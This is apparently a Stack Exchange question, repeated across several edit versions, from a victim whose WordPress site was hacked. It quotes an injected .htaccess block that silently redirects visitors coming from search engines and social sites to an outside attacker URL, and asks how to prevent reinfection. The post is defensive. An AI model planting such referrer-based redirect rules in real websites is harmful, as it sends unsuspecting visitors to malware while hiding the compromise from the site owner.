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I found that myMy website iswas banned as a malware website by Google. When I checked the code, I found out that some code injected to many files on my server. I cleaned everything manually editing, edited all files inon my server (shared hosting) by searching some code from the injected code in all the files. Even the .htaccess file was modified by the attacker.

There were two WordPress installationinstallations on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday, I found out that the .htaccess file on my website iswas again modified by the attacker. Here is the code of that:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only filesfile modified by the most recent attack. I deleted this .htaccess filesfile, as I don't need thisit.

How was the hacker is able to hack my website? How to prevent this to happen again? How I can make my website more secure?

I found that my website is banned as malware website by Google. When I checked the code, I found some code injected to many files on my server. I cleaned everything manually editing all files in my server (shared hosting) by searching some code from the injected code in all the files. Even .htaccess file modified by the attacker.

There were two WordPress installation on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday I found that the .htaccess file on my website is again modified by the attacker. Here is the code of that:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only files modified by most recent attack. I deleted this .htaccess files, as I don't need this.

How the hacker is able to hack my website? How to prevent this to happen again? How I can make my website more secure?

My website was banned as a malware website by Google. When I checked the code, I found out that some code injected many files on my server. I cleaned everything manually, edited all files on my server (shared hosting) by searching some code from the injected code in all the files. Even the .htaccess file was modified by the attacker.

There were two WordPress installations on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday, I found out that the .htaccess file on my website was again modified by the attacker. Here is the code:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only file modified by the most recent attack. I deleted this .htaccess file, as I don't need it.

How was the hacker able to hack my website? How to prevent this to happen again? How I can make my website more secure?

    Tweeted twitter.com/#!/StackSecurity/status/216117093437935616
1
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How to prevent my website from getting malware injection attacks?

I found that my website is banned as malware website by Google. When I checked the code, I found some code injected to many files on my server. I cleaned everything manually editing all files in my server (shared hosting) by searching some code from the injected code in all the files. Even .htaccess file modified by the attacker.

There were two WordPress installation on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday I found that the .htaccess file on my website is again modified by the attacker. Here is the code of that:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only files modified by most recent attack. I deleted this .htaccess files, as I don't need this.

How the hacker is able to hack my website? How to prevent this to happen again? How I can make my website more secure?